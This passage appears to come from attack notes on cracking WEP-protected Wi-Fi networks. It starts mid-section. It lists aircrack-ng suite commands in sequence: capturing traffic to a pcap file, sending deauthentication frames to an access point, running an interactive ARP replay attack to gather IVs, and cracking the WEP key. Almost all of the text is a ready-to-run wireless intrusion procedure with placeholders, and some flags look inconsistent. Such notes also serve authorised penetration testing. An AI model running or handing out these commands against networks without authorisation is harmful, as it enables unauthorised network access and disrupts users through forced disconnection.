via a client

Capture + output as wep-01.pcap

# -c channel -w output filename = recon-0#
sudo airodump-ng -c # --essid AP_NAME --bssid XX:XX:XX:XX:XX:XX -w wep --output-format pcap wlan0mon

Attack

Deauth the AP

aireplay-ng -0 1 -e <ESSID> -a <AP MAC> -w <capture> <interface>

Launch the interactive packet replay attack looking for ARP packets coming from the AP:

aireplay-ng -2 -b <AP MAC> -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 <interface>

Once enough IVs have been captured, crack the WEP key:

aircrack-ng -z <capture>